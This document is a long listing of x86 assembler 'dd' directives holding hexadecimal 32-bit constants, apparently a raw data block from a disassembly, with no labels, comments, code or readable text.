		dd 81185F77h, 0D1FB84A1h, 0A2F07555h, 0DBCB00EFh, 4A2C8CEBh
		dd 50C04651h, 49E347AFh, 0E108A85Bh, 8FA30114h,	0C72A385Dh
		dd 6786D815h, 93D12406h, 90817962h, 7AA10A05h, 87888FEBh
		dd 70C39708h, 9467DC6Ch, 9203F0A0h, 0A69C150Fh,	0B59B6195h
		dd 84518891h, 0D980C0B3h, 23AF7D03h, 4D00572Dh,	13434A51h
		dd 191FAADAh, 29C5B395h, 0EDF1C85Dh, 0A67C0E07h, 0EC13E1ACh
		dd 8081009Dh, 1B1EE576h, 74061703h, 0B4AC4588h,	53F2AD8h
		dd 0C9E08Ch, 186138B2h,	0F0DFEF10h, 0A83A677Ch,	0DD9B007Dh
		dd 7133D154h, 0C3E8DC99h, 796657ECh, 6802CCB8h,	64B31501h
		dd 0C9943093h, 104A98D8h, 207FCAh, 73C1798Ah, 0F021675Ch
		dd 0FC5D122Ah, 9E29096Eh, 9BB52383h, 0B24AD100h, 0A6CBAE80h
		dd 0CD380C5Ch, 0C0A91548h, 0EC9EE000h, 12EB9994h, 5C1D005Fh
		dd 4B49FBB2h, 0E5606587h, 0F1A298F9h, 0F095048Ch, 8818098Fh
		dd 0BEB09318h, 9B01D084h, 7D289975h, 3440F222h,	506E33B6h
		dd 14A9474h, 9CA580A2h,	20670D30h, 14000F40h, 0F837BF4Fh
		dd 0A633B5C9h, 75CB44E0h, 9E093100h, 97439A9Ch,	3FE7001Ch
		dd 67923DDBh, 1F3F3CFAh, 23DA042Ah, 6C888059h, 0AA464088h
		dd 0ED4B654h, 0A5596B00h, 8F610FDDh, 5F961C4Bh,	0D8B0041h
		dd 401C3ED9h, 110494A1h, 918086F1h, 80993473h, 0EF00BD64h
		dd 113C67D5h, 1CC14DBh,	901844A6h, 0A897E0B0h, 8C894B38h
		dd 68DC4011h, 0D1C0CAB3h, 5204C89Dh, 480600A5h,	50993A93h
		dd 3F060E7Dh, 0B25F1A41h, 0A2C729B1h, 0E41100B0h, 23386913h
		dd 0BC065701h, 668E0C51h, 4839BEF8h, 9105285Fh,	98C374h
		dd 0F696B944h, 150CC266h, 0D9133E85h, 2FF8074Fh, 0B0103D92h
		dd 0AB775ED9h, 0DE4AA930h, 1CBA36DCh, 0BE973B66h, 5091D12h
		dd 20175CCCh, 5148F38Ch, 0FB588C00h, 39597A1Ch,	0F578147Ch
		dd 2450F440h, 9BE022E6h, 884C8F48h, 10450044h, 0A167C8DCh
		dd 9E97CA18h, 411D8929h, 8DF0E346h, 603FC36Ch, 0F322928Bh
		dd 0D4392C21h, 812A2850h, 1EAB1845h, 0BBB920B5h, 0A51A0501h
		dd 0C89E5758h, 5CCCB4D0h, 4064B130h, 0FF308C62h, 0C2BD9B0Eh
		dd 0F8CF203Ch, 76B536Fh, 13C79C24h, 809DE0BCh, 0FC4C40AFh
		dd 4C9B013Ch, 6CC35F02h, 0A4FB3308h, 99036CC1h,	174139FDh
		dd 0A4B3FE8h, 0A58CF0Bh, 1864FC22h, 947BE05Fh, 0EC413E03h
		dd 1002A18Bh, 53B78750h, 0E14A001Ch, 63168DF0h,	0C3D4008Ah
		dd 0C4C760FDh, 0F8ABE27Fh, 0C93022h, 0ACFAC5B5h, 1E9F46BFh
		dd 0ABA7830Dh, 0D1612991h, 8972E4h, 1D94595Ch, 0E8634157h
		dd 1C1740C2h, 0FC4A7EFh, 0D058A483h, 1D0A84Bh, 37E29533h
		dd 0BAB3C8ABh, 77D780C8h, 2F38DEB5h, 0C725006Ch, 124AE88Eh
		dd 670889E1h, 9FC61409h, 31FCC00Fh, 1504A69Ah, 0B9649200h
		dd 605A93CCh, 0B2D1CF53h, 0F6B8313Bh, 3100BFD3h, 0A7BE6D0Ah
		dd 1853B948h, 0B85F7C66h, 0F33C0C7Fh, 1A0984C9h, 0AE054017h
		dd 9A284AF2h, 0CBAB43D0h, 9512B901h, 0A841DE6Bh, 424CDC8h
		dd 0B5CF58EDh, 3EFCC889h, 5125B7Dh, 2F14103Bh, 9AA48068h
		dd 28336048h, 68896F0h,	1012F541h, 5500B99Fh, 0F1C322DBh
		dd 0ECBB967h, 0CCD04893h, 4C883078h, 1DF4B149h,	58ACFC7Ah
		dd 3B9C4240h, 15A10977h, 4100A94Bh, 9B474027h, 72792572h
		dd 8992EB30h, 64D632h, 63CB3BC4h, 85CD3956h, 2A4DC901h
		dd 1FD03A8h, 0DE0C60h, 2EE0CA47h, 0E14942EBh, 61F208A8h
		dd 81D2B330h, 0A8B940h,	1FC29FD4h, 9290CBE4h, 1104A3Ah
		dd 633353A7h, 48301B61h, 0C64D0F3Ch, 5F006811h,	892710Fh
		dd 0E5EE9F06h, 1E1A3AAh, 2AF2CB02h, 60C9444Fh, 0DD01011Bh
		dd 0BAF4096Bh, 0ECE02E5Eh, 0C79E09C8h, 24EBD6h,	0C64040B7h
		dd 0F6E87C51h, 64D7B029h, 809C1845h, 0C7C8D92Ch, 26D9F3Dh
		dd 4A887517h, 6E206847h, 564B35Eh, 40E84451h, 9B8C0F08h
		dd 34B989FAh, 5961D280h, 6A9F57Bh, 0AAD12950h, 6DECC9BCh
		dd 5F858224h, 0B69D1800h, 0C09CE346h, 5BEDEA51h, 560A6C38h
		dd 609DF612h, 2945E0Bh,	0E0FE3D09h, 16EDC7ACh, 7AEC893h
		dd 75A1FD5Dh, 248D5DBh,	0BB8C09C8h, 90910460h, 0E00499D3h
		dd 9940BA35h, 255F626Bh
		dd 0E003689Ah, 40666B6h, 63FBA8C8h, 0D1B10F4Bh,	10809040h
		dd 0A87A76FFh, 1E2E4E74h, 5C8CF4BEh, 732E5103h,	25740EAEh
		dd 26E035DAh, 9CFEE94h,	22CE201Eh, 3E177583h, 3C31001Bh
		dd 65F64DBFh, 0B530C592h, 42028934h, 0DFBE0B03h, 4801B039h
		dd 0CC8FBB94h, 0EC991F89h, 108BB50Bh, 0EC883E90h, 353A07ABh
		dd 0C169EA4Dh, 0D16AD214h, 0BF70405Ch, 0F07CD2Dh, 0B1F09DB7h
		dd 0C06E49F0h, 0EC600FDh, 0F20632ADh, 14133C6Bh, 740FBDE7h
		dd 4192CCCCh, 0B78A33F1h, 25907C71h, 5D7A273Ch,	55883F00h
		dd 0EFC1F3F7h, 134E15B9h, 0C060F88Fh, 0EC9FFAC7h, 0B0446890h
		dd 79D200C0h, 0D80DA35Dh, 2F6933CCh, 7D9C0F69h,	0BB674026h
		dd 4C89C1C8h, 0C27A10CAh, 24B609E3h, 0E84B0913h, 696C6390h
		dd 276FDD00h, 0F787073Ch, 6B22009Ch, 0ACD92C06h, 9B00BE73h
		dd 52E512C7h, 1D99ED3Ah, 820878AAh, 585FBFC8h, 306008EAh
		dd 1F302485h, 49B68E99h, 9A070998h, 988665B2h, 0CC2E79C4h
		dd 17471C35h, 120348CAh, 0B036C48Fh, 1D95CD6h, 0F8ADDF73h
		dd 0DC62684Ah, 0F7E6F85h, 0C13BB5E4h, 46A901D1h, 0C305E523h
		dd 9382C8CFh, 834B0B3Bh, 0D0825EF7h, 0F0C33894h, 10881850h
		dd 0F0F1DB70h, 0BFE861Bh, 48FA2D3Ch, 9348B0h, 5823176Ch
		dd 6B4198h, 24BB36EBh, 0FA4391B2h, 0B80F843Ah, 9F3407EAh
		dd 78E77094h, 0A780E547h, 0BCA06Ch, 89F42345h, 338B1171h
		dd 0DBBC705h, 0C880793Fh, 0FD25069h, 1AAB36Ch, 803D75CEh
		dd 0FA136768h, 0CDFA5B5Ah, 0F69880h, 9BB047F7h,	7D815326h
		dd 69B61100h, 0EF37E9CAh, 243DE241h, 22CB1A7h, 0B9FA1E87h
		dd 915F7C48h, 99518988h, 34430054h, 0E8FB7B57h,	58286548h
		dd 13285417h, 5F0F10F1h, 0D8911Ah, 15AAAE2Bh, 0C73955D0h
		dd 0D6A501DBh, 85F5401Dh, 86006023h, 20811A45h,	618AB25Ch
		dd 4017A070h, 79CA6C12h, 47F22900h, 0F72CA9E8h,	57A209DFh
		dd 22059B67h, 90803794h, 8D48477Ah, 0B7803Eh, 29A2570Fh
		dd 77F7A63Fh, 0C31C0145h, 8B648D15h, 0AC03ECDFh, 660F9101h
		dd 0ADF3E0C2h, 99105420h, 6CFA8060h, 3830DA24h,	6D9C8907h
		dd 90D03133h, 0C9B929h,	0FD1C9FB2h, 6702A986h, 0E69DEB14h
		dd 9B3806A0h, 0F1125Ch,	0B7DC3A4Ah, 0D7B6C478h,	72107301h
		dd 331ED102h, 0A228388Ch, 78B1B2C8h, 0BBAFE700h, 0A183B3h
		dd 0F5FB7135h, 7C94ED27h, 52017D79h, 0B0E56576h, 0EAEC30A4h
		dd 44804C7Bh, 0DA33890Ah, 1693090Ch, 1D88F818h,	8B8AD52h
		dd 0CB75033h, 5579C3B3h, 0AD289D00h, 68D5453Bh,	6F6C0173h
		dd 0E5E6283h, 4EC0CA9Fh, 0EF01C34Dh, 0FFF6B12Eh, 0E0D69EC4h
		dd 99AB216Bh, 3B6F0048h, 739169D2h, 0B5DFDB0Bh,	38609062h
		dd 236400C8h, 8C5B9AD1h, 462682F7h, 0DA0490B1h,	620097DFh
		dd 47670338h, 0AC07C8A2h, 0B4F69289h, 55085046h, 98E4BDA9h
		dd 9B15399Ah, 0A86C6409h, 58F08AFAh, 66BEA600h,	7EBB9Eh
		dd 0E0FBC9DEh, 33171576h, 3E104313h, 0B4D43420h, 86B8F0h
		dd 0DEC729C1h, 9897162h, 6446F64Ah, 98899FCCh, 514D247Ch
		dd 1F574A64h, 33A68413h, 0FB0A4DDh, 8FC5C618h, 0BBE650h
		dd 11FB6749h, 0F8456B6Fh, 0EC7AC912h, 331CB090h, 0D85000BFh
		dd 94CF3190h, 4C027A68h, 1244FDE3h, 0C84641Eh, 75EC66FCh
		dd 6D00AF39h, 1F4AC5F6h, 0F51580Ah, 44EF4180h, 3B945A63h
		dd 6D2922BFh, 47D97868h, 2C30B81Eh, 6698DC80h, 0B967F0h
		dd 0A385F46Ch, 2BA5AA81h, 0B3BC2501h, 87234399h, 18090C40h
		dd 95D499C5h, 50F88B5h,	27DE8733h, 0C843F821h, 80EC3D67h
		dd 0BB9D3371h, 9451004Fh, 6728E47h, 509D895Bh, 0E2FC0FB3h
		dd 2C2120A6h, 704301A9h, 0AA89CD60h, 0FA00F429h, 70F192F9h
		dd 341C8963h, 0F6FA17E7h, 53142D09h, 18F40B1Ch,	0E869DCFCh
		dd 19221CFFh, 2E05BCCDh, 80728089h, 3143BF44h, 87696E05h
		dd 0DC009D14h, 0CA5B4D42h, 0C2850F7Ah, 0CB651564h, 2DE889A1h
		dd 104B7440h, 991B8C5Fh, 0A929E071h, 24FC3AF2h,	0E7063064h
		dd 0D80800E4h, 7ED05926h, 0F0365067h, 3ADB00C1h, 6A0C5523h
		dd 981CCCFAh, 0DCAE02ABh, 0D8C08A1Dh, 57D1E73Ah, 0B0BB00C9h
		dd 0E8E686F9h, 1AE8D0B6h, 26671B00h, 8C5466B3h,	90A2913h
		dd 563C81C0h, 706EBB7Dh, 549C2284h, 31097A8Bh, 84866FCh
		dd 0BCF64C59h, 0AA41407Ah, 8C391F60h, 190263Dh,	2092C9CFh
		dd 0F28EF7C7h, 0A6C41300h, 0AE40A809h, 0DF71124Ch, 0FED03748h
		dd 45F0CF8Ah, 0ADA040B7h, 0BAA91D28h, 9A91D500h, 16DC1547h
		dd 0E2890174h, 0B2CC1738h, 46398E9Eh, 0C693E4FEh, 209B38C2h
		dd 8D2340A0h, 187C7249h, 6131E8B3h, 0B94502CDh,	0F492DC05h
		dd 5FF51260h, 3F6943Bh,	0FF7195ABh, 3D64A013h, 0E0E0A09Bh
		dd 3E62809Ah, 94694102h, 481CC730h, 48810278h, 0A282FCD7h
		dd 0EC716754h, 0E204D100h, 97EA4F3Bh, 0B14BC340h, 0F8EA4A76h
		dd 4C0030F4h, 0A9288ACDh, 0DC189Eh, 375A5573h, 5343B059h
		dd 0B4741300h, 9CA0C7C9h, 0ABE0465h, 0B2897A9Ah, 27AB00C0h
		dd 494668C5h, 65690562h, 0A0538B4Bh, 1205F68h, 820969Dh
		dd 75BC988Ch, 8ABCB454h, 30CBB903h, 0F83AC4ECh,	0FE66D471h
		dd 0E04A0008h, 0E1098673h, 93276F89h, 46A427B3h, 0F0E75113h
		dd 88F733h, 84779606h, 0E1447155h, 0E000BFE2h, 5C814A91h
		dd 14BDA0DBh, 80B8B473h, 0B39D5E0Eh, 8EA813E2h,	0B51C8059h
		dd 0A00A060Fh, 797BA43h, 0C08B4870h, 43BCAA26h,	54C80CBCh
		dd 16124CADh, 80924BCDh, 44F2F1h, 2C97B5C5h, 1D3383D3h
		dd 0BC39E700h, 53E88132h, 9D0E13D6h, 0D3B008E4h, 0CC90AA93h
		dd 2A38DDh, 2971A949h, 0CA24A33Ah, 979FC002h, 0C09CE693h
		dd 88B445B0h, 0ACA80D3Fh, 6B00B644h, 0D6749C0Ch, 0B6C67FE0h
		dd 15096270h, 19206C66h, 9CC907B5h, 942B30A6h, 2163C3D7h
		dd 125C3921h, 21948E10h, 7F143B18h, 9F028490h, 0C1CC7D50h
		dd 84624C84h, 7780A4FCh, 0A0105B58h, 67104Ah, 0C5D3E99h
		dd 169D4047h, 0BB148E7Dh, 92D09FC4h, 9CD4C8h, 15259D6Bh
		dd 0AFD0CE54h, 6F238100h, 0A1EECDF0h, 5F9E2A92h, 65A89C98h
		dd 0CA0EC08Eh, 26FE9F69h, 70647900h, 0F103D230h, 2C1D5C87h
		dd 0C1193F86h, 0ECD5E400h, 750C3BBDh, 6A2A0082h, 9029963Ch
		dd 1E495C8Fh, 97720000h, 0DE5F6E4Bh, 0E3050073h, 6B8B156h
		dd 0E3F751EEh, 0E43C0E0h, 0A040EC98h, 131416C7h, 587020B2h
		dd 0A107E8FEh, 17C97851h, 6C244442h, 53D21ECh, 13C62B40h
		dd 651F0047h, 5D1E419Eh, 310BACDFh, 81726667h, 8BEC8E70h
		dd 0C6D3318Eh, 0DD98F500h, 800FDBDFh, 7C1A1D65h, 8061FA8Fh
		dd 3B5D3F25h, 0B3E60563h, 0C8C4CD38h, 67CC098h,	4146B60Eh
		dd 93954203h, 37B482D8h, 42104CCDh, 0C4932E1Bh,	0F0D6422h
		dd 918060B5h, 0DE009423h, 4BB107A8h, 0E35A7AF9h, 0CBDCE0h
		dd 0F3DA0FD8h, 88BD5FBEh, 0D4B3442Ah, 6636D000h, 0E794F5CBh
		dd 8928059Ah, 84D55833h, 88708250h, 0F0C00880h,	4BC073Fh
		dd 0AC0E1487h, 99F27670h, 972B3EBAh, 17D4504h, 893C8CC7h
		dd 58201F4Bh, 500ED78Eh, 0CFA2E0B5h, 9892DEC8h,	9400E970h
		dd 0A30A92A8h, 1639D7Bh, 0D0B0485Eh, 799B704Bh,	7C6B22D4h
		dd 6CC18ACCh, 31A7DC64h, 602AA49Ah, 0B35AA40Eh,	99300C40h
		dd 19DCCFFCh, 589D9A49h, 1711EA58h, 5FB40514h, 9E500892h
		dd 53284D82h, 971BC0CEh
		dd 0F07009F7h, 449891A9h, 59382421h, 0A63F07E0h, 8BE0D8F2h
		dd 2CDE457Ch, 4EE41E87h, 30649A6Bh, 33760300h, 5B5FC375h
		dd 65DF00E7h, 8877E346h, 0A23E8BB7h, 9453EDh, 0CDE545EBh
		dd 488C5Fh, 6E37A258h, 613CAF44h, 8813935Ah, 0CFD6BC30h
		dd 0B3854891h, 88D07838h, 9C14B4F1h, 924B858Eh,	0A8880199h
		dd 91978DC4h, 373AC040h, 86E87800h, 657104C7h, 0C6832407h
		dd 0C4F9CAA8h, 13404350h, 0D42C1512h, 36533937h, 772CC181h
		dd 3195CA3Bh, 4EA9E3CCh, 97B896CDh, 9991E404h, 0B50F1705h
		dd 0CE91D790h, 6029D897h, 30E84F30h, 0B67C2388h, 86EB8A8Ch
		dd 0D1E380F8h, 8ED2F116h, 657D2B01h, 0B84F8DE5h, 27000429h
		dd 0ED55BA4Eh, 5117B619h, 400867FCh, 0AFA4BED1h, 65D80078h
		dd 0BB5ED212h, 0DD245400h, 29B533EFh, 143D0967h, 3843A44Bh
		dd 0B9041CDBh, 45A5B20Ah, 0E0E8AA09h, 0DFF854FDh, 65783B02h
		dd 0E01747BDh, 4A8F36Ch, 6133D0A5h, 0F489187h, 20C3144Bh
		dd 0F644A41Bh, 0A50556A2h, 9C62D6CAh, 800E2B38h, 1FF98A40h
		dd 6A01185Eh, 95670752h, 0ACE9EED7h, 9408DC45h,	1E898A4Eh
		dd 8D2F3E54h, 838B091h,	0BD602F4Bh, 5F106021h, 0E998009h
		dd 4EA07D3Eh, 6BCF0779h, 30F6DCC0h, 0B15CDB8h, 7840F25Fh
		dd 8C85102Eh, 4AD20059h, 8EF63AD8h, 5C028993h, 11B3950Eh
		dd 605344h, 727E7D69h, 1EE6BF71h, 0F210090h, 0B0309C7h
		dd 810E3853h, 0DCFEE3D9h, 4BCEC067h, 0F2747EEAh, 9CC7508Eh
		dd 0C82D65B0h, 3CDC089Ah, 154F194h, 688FCF74h, 0B23054F6h
		dd 7831656Ah, 1EC8E485h, 43A544h, 0B18B1B99h, 6C09E1D7h
		dd 3450814h, 0C0BC0398h, 62A3B48Fh, 84CAA9D0h, 0A412A87Ah
		dd 981F45F2h, 660F0022h, 9B393B93h, 8907627h, 2389B409h
		dd 0B4F8700Ah, 38BC6AF4h, 93027AC4h, 85BD2365h,	7C2850E9h
		dd 90B095E6h, 0F800E2D4h, 0C3FE61F1h, 0A7FD5Ch,	318663A9h
		dd 0E4332A85h, 40FA9E1Dh, 8A266948h, 1650B71Eh,	9DA8203Eh
		dd 84006FADh, 63A3A013h, 274092h, 0D662E041h, 2A37E4BFh
		dd 0C35D8500h, 0BBB7702h, 4F250021h, 0AFEAB320h, 1F03543Bh
		dd 0C6CD42CAh, 1759120Ch, 2E88C81Ah, 0BC896029h, 0AB50588h
		dd 80DC1F3Fh, 3564DD18h, 2A3CA79Ch, 6C9700FCh, 0C1363772h
		dd 0D7760095h, 6F5F991Bh, 0BCB27FA2h, 39889F74h, 181400D9h
		dd 0F622788Fh, 0D021DFFh, 63309417h, 485CFEh, 9BC6811Ah
		dd 0A44899A6h, 2D0708D8h, 0AE44B880h, 0F720A4B8h, 0CC9F48BEh
		dd 75C84058h, 0AC113580h, 0EB4A3BDh, 0B103241h,	0E13BA21h
		dd 0AC422FA8h, 84F5CE2Ch, 9F4C9BF8h, 2A421F78h,	0AEEA1322h
		dd 0ED91B00h, 0A215C275h, 4F8D7B64h, 0C4E04453h, 13ACC82Ah
		dd 95AAB544h, 0FAAD2C20h, 73E490FBh, 5C2FC400h,	0C0AC2564h
		dd 61D503E8h, 751E3DF2h, 0DDCE2481h, 9008A568h,	1A06D08h
		dd 1C527B50h, 0C60D4856h, 0E2CF60FFh, 0A0EB4891h, 12958121h
		dd 866F02E4h, 64B03B14h, 980E52A4h, 40802858h, 2C6D1CBAh
		dd 44607309h, 0A08493E1h, 249F61FDh, 0E5D02EAEh, 0C0A8A67Dh
		dd 1B2B27FAh, 45C839E7h, 12C7BA9Ch, 0D97C04DFh,	94F2129Eh
		dd 84599A0Eh, 0B5159D40h, 324806E2h, 194D00D1h,	1FBD2157h
		dd 0B9B360AEh, 5F27D1B9h, 0AB920094h, 22C12502h, 23E0848Ch
		dd 0CC212832h, 222E1C9Eh, 0B020C038h, 6A34A8h, 8DBADD7Ah
		dd 1AD49DE9h, 0F3FDB300h, 0FC6732E8h, 0CF1F1E13h, 8FC640Eh
		dd 0E0A5928Bh, 0EF8769Ch, 64C5C617h, 0A6CA6C80h, 52007E28h
		dd 71C79A20h, 787E266h,	54229CFAh, 0D701C951h, 5001AE2Bh
		dd 0ECB58264h, 3E7F2A02h, 192F33D1h, 419312EEh,	0E9EA2780h
		dd 7D10DF44h, 0A63AC342h, 596980D7h, 0AF11A6Dh,	73B7099Dh
		dd 7C160DF7h, 2E916022h, 40304B89h, 0E513F642h,	18A3D624h
		dd 9995288h, 54EB0717h,	0D21332E1h, 3E7BEC6Eh, 82ACF400h
		dd 0D29A6F55h, 0B5F312Dh, 0E009AE29h, 0FE71CF8Dh, 3F12CA01h
		dd 8F6D3341h, 3B05BC2Ch, 0ECF39B0Fh, 0A4007DEBh, 0E6CEA6EFh
		dd 286855A2h, 40544489h, 4486E16Eh, 1450054Eh, 0EC8BB6D8h
		dd 8EC8AC24h, 0E67B40B7h, 7949F22h, 0B9785B3Eh,	0BE70E3AEh
		dd 7127FE80h, 848DA100h, 0C7DD8F16h, 7A1A1CEDh,	749A025Fh
		dd 605AEB88h, 807DDB00h, 53C8BBA3h, 17CBAh, 8E881E91h
		dd 3385D086h, 1448E905h, 5808D109h, 5513C12Dh, 9B8C01F8h
		dd 6A22A410h, 9150A197h, 0C0F3D864h, 53B5FC7Ch,	382CE089h
		dd 86155054h, 72454A84h, 205C0FD8h, 5E56ED9Ch, 18DAEE09h
		dd 0C59728h, 45643215h,	7CC0B51Dh, 55AD7900h, 2F0DA72h
		dd 26CA17C1h, 3390219Fh, 3E011332h, 5FC48FD0h, 90798D6Bh
		dd 1BF3700h, 0DAC75BD7h, 40C5503Dh, 3397FAD6h, 38C19B0Bh
		dd 75578080h, 17D78E5Ah, 22ABB446h, 491112ACh, 9544ECD7h
		dd 0E8B34994h, 0F767010h, 0CD54CAD0h, 0CCFAC492h, 24A03EE0h
		dd 0F3184Bh, 8097E13Fh,	4601D656h, 1F122ADBh, 0D189355Fh
		dd 0B09589h, 1C0088C3h,	486E9A85h, 484B96CEh, 0E9D545Bh
		dd 678242D7h, 84A07EEBh, 0D11B76CEh, 0E1008AF4h, 6CADA7B0h
		dd 2535FF2h, 0C3526BBEh, 2CE66931h, 0CE165600h,	7AD53BEFh
		dd 0C1FD00ABh, 1043A2F5h, 0DE3A1EF6h, 0CC742A83h, 1EC50621h
		dd 19A50C6h, 9B38A20Ah,	7C7379C3h, 0B66D10h, 5630FC7Ah
		dd 4E3B11BBh, 34D4D0ABh, 87001952h, 0C39E6877h,	0E03A5Eh
		dd 6CCF7B0Ah, 3F5FD59Bh, 0A3215898h, 20FF112Ch,	0EE3B20C7h
		dd 48BC3779h, 5D0013A8h, 0DCAA103Ch, 724739h, 0C2244B6Eh
		dd 216B3692h, 5F2AA912h, 0F2DD28A4h, 0EE6F894h,	56D7C285h
		dd 0EB771F40h, 8E7497DBh, 440905Bh, 0ECD0FB01h,	20675B6Dh
		dd 28BCF710h, 615FCD0Fh, 514C444Bh, 1C0F60BDh, 99C6441Ah
		dd 62027111h, 0BCCAE0EDh, 588C58C0h, 0D9C480E9h, 337A00B3h
		dd 2DC2BC2h, 85CD43D1h,	6C603ACBh, 0EB817749h, 3600707Dh
		dd 11D1C812h, 0DE0064FCh, 417889E6h, 2CD3FB68h,	325B98Ch
		dd 14906A1Ah, 2A3888A1h, 0F23F5C49h, 49C90084h,	6A02C91h
		dd 24008283h, 3BB7F0E1h, 28B4C37Eh, 43C83158h, 0EAEE22AFh
		dd 1594244Fh, 0F3B408D0h, 78889712h, 46F08C45h,	3F93CCB4h
		dd 85EEA4D0h, 4B0705F3h, 8C9B0E80h, 0F674A9CCh,	8921CC98h
		dd 286217D1h, 0B0003938h, 0ACC345B9h, 170F8E17h, 0CCABBA43h
		dd 311F6558h, 100064E3h, 32F39CEFh, 63F900EDh, 0DB40B71Bh
		dd 3D653148h, 0B047779Eh, 7F202338h, 522A0959h,	0E900BCEDh
		dd 317D1F90h, 1000A36Eh, 35D04B98h, 1D849E63h, 2CFA3B5Ch
		dd 0CC8C6990h, 228655C9h, 2C809925h, 970039ADh,	6FEA2478h
		dd 5D3F461h, 37C4E6A5h,	47B703D6h, 4025AC2Bh, 114483Ch
		dd 4A10994Ah, 26B3113Ch, 9D105401h, 0E49C5DC5h,	1D2233E8h
		dd 413E097Ch, 0A87AECF7h, 0D5862928h, 9E6C2200h, 761DB91Eh
		dd 3EEB000Fh, 13404150h, 4B00388Fh, 0CA017467h,	16C35722h
		dd 970DD6h, 3366FA8Fh, 8303C5BBh, 35CD46E5h, 1799000Fh
		dd 3D649FD9h, 8CA66114h, 0F0425042h, 0D5CBE400h, 1713CAAh
		dd 83BBD780h, 0CA376A8h, 65672800h, 37BE56E5h, 0EA39E468h
		dd 9E77E33h, 3FF0B9B4h,	0AA995868h, 9E25300h, 55C7D994h
		dd 6E6499D5h, 426F31B9h, 3619D5DCh, 0C71E1710h,	0DC1F80B1h
		dd 0CF53C207h, 9FEFD840h, 32900AEh, 0D7835F99h,	0A212E29Ch
		dd 7036A928h, 543CB298h
		dd 9C4A3081h, 0C80EF70h, 0E84D79D3h, 14669009h,	0E8848FE6h
		dd 4C8808EBh, 52AB7A47h, 0EF8600B4h, 2795E8FCh,	0AA007319h
		dd 0D3495740h, 7708671Bh, 801C914Eh, 850FE5F7h,	2414C752h
		dd 40EED0h, 8D865EA2h, 15D4DDE9h, 0DCBFDC65h, 4691D121h
		dd 12D8B62Ch, 8E70923Bh, 40892482h, 2FBEB876h, 4D98A29Ah
		dd 0E744A551h, 0BDDC4380h, 408264D0h, 0D445229Eh, 0DD804C20h
		dd 0F1514486h, 0D0008CB1h, 41E92CB9h, 6B1103EDh, 0E3BCABA9h
		dd 95F0DEE0h, 0CE706300h, 571F13EEh, 0F8C8B22Dh, 0F9A0889Bh
		dd 6640E491h, 2E40968Eh, 3C8C9444h, 0F8405AC3h,	0A0F5538h
		dd 58D4BE1h, 0E0B69BECh, 0CA5B6D88h, 44928489h,	7DD00808h
		dd 7CB02E63h, 0E6F73849h, 0C315BD80h, 96DF80E5h, 0BB571D13h
		dd 0BC3C8CF1h, 4CA2F725h, 0ACA5B39Fh, 924E30Ah,	0C4B0F7Ah
		dd 25779094h, 0DCE0B141h, 0FF1CCC34h, 61C0C8DCh, 9CC13367h
		dd 2B36EA5Dh, 2E586C03h, 82674154h, 59DF70B2h, 0B1B05B00h
		dd 92385E53h, 76481C8Eh, 0EC51C912h, 36C24810h,	981B2600h
		dd 0A43C39B8h, 7C33EACDh, 2188B023h, 75142D55h,	0EE72035Ch
		dd 9B098ED9h, 0DFC11377h, 4B844411h, 1B62430Dh,	47FBE083h
		dd 0BEDC1CE2h, 800C6603h, 1F861289h, 4000C7F9h,	4D56D305h
		dd 0E8D69920h, 48CA7CF0h, 0EA0020F8h, 897C9BB3h, 10951D09h
		dd 84DF480Ch, 0D0091442h, 0AC645333h, 4AAEF944h, 516872C6h
		dd 3482F8D1h, 0C41F7631h, 0AA8D2C90h, 7A2988F4h, 13B0F0Bh
		dd 884894E6h, 0D2052C73h, 40B5AB43h, 4A08FE90h,	9500DE97h
		dd 2B7C156Fh, 9F58AE9h,	71236280h, 9C632C18h, 0B084688h
		dd 0F10D6BC3h, 0B5ABD205h, 9A40F228h, 91003087h, 15619E78h
		dd 2C275904h, 8188E3Dh,	0D98789E1h, 61F0C999h, 2AE5C7FEh
		dd 9FB8E303h, 96FA9C10h, 6B10C09Eh, 58A8FFC8h, 0A1DC1B48h
		dd 79FC09E9h, 462538EBh, 0C1117880h, 763E2619h,	8D9EAA00h
		dd 10398273h, 4AE975Fh,	3E07A360h, 17019D21h, 815CB924h
		dd 50709367h, 0F02B489Bh, 0FFE8885Bh, 4A1D0879h, 0C8CFB4A1h
		dd 0B82F404Ch, 2CB96E1Ch, 3ACC7F2h, 32803ECEh, 89B076B8h
		dd 7397E401h, 7096C8Ch,	39847C69h, 0A78E2249h, 0D75142D0h
		dd 382DB2B6h, 9C525F09h, 0D80220CCh, 0EBEEDD9Dh, 12A3D6E8h
		dd 88701613h, 200074ACh, 0A5CAA9EFh, 56D4D5Dh, 9EBB8FB9h
		dd 89CCBD48h, 910DAF1h,	78C3A368h, 6900FCE6h, 50721775h
		dd 1FEA3Eh, 3FF7305Ah, 0B7FF314Bh, 64524581h, 34B52262h
		dd 0A35884DAh, 91271098h, 0B5061E82h, 11097A01h, 4007687Dh
		dd 6B668D80h, 0C4EF8402h, 107158CAh, 66F6E05h, 4DA2A420h
		dd 27384C67h, 0CD7AEB07h, 0C76500A9h, 892F96EFh, 607C1151h
		dd 0C8841F0Ch, 73643DC0h, 11948C21h, 44634B89h,	53101494h
		dd 0BC7A0125h, 6A0F97B0h, 3C335C61h, 8BA27050h,	0AA1268A7h
		dd 0B058E4h, 1A337428h,	6030E412h, 0CC7D2F00h, 0BF6DBB5Ah
		dd 435CB080h, 98631125h, 8019E3C7h, 3DFDB6CEh, 0F87406FAh
		dd 0C6794000h, 0B456E173h, 0B4B158DFh, 0E0549B1Fh, 0A4403CB4h
		dd 50A80Dh, 36D77229h, 9A89DADBh, 0D8062C18h, 756410h
		dd 0E0628A40h, 7CA61BB3h, 901C781Ch, 444E289h, 3A4017ACh
		dd 0C5596ABh, 86386500h, 0B2C4C004h, 29C10EA0h,	0C2D276AEh
		dd 0BC983568h, 3097B504h, 71C7B34h, 0D7FFBD61h,	0D07F5024h
		dd 0B350C8C6h, 505187BCh, 0A0BC2C64h, 23A6973h,	24BF0E8Fh
		dd 88665B10h, 0AB42CA08h, 77FB80BDh, 43478125h,	0D5218098h
		dd 0DC681390h, 0A8E0831Ch, 48AE0300h, 348DF953h, 0FB2019Eh
		dd 8314873Eh, 1C4271Ch,	68B1615Fh, 0A5F05AEEh, 0D0BE4A71h
		dd 88749B10h, 2363FB04h, 0BCCA90D1h, 6002A327h,	8805B7CBh
		dd 490040A3h, 12A2F9E1h, 0B307F793h, 4DCAB4B8h,	6627D131h
		dd 5170202Eh, 961D7FA9h, 0AA40F44Ch, 36A5AE79h,	73350367h
		dd 51F8648Ah, 33D13BB8h, 0C8508B58h, 3CFCA629h,	0D60884Bh
		dd 3893892Ch, 7EA13304h, 888A34E0h, 64001C5Fh, 0E479A695h
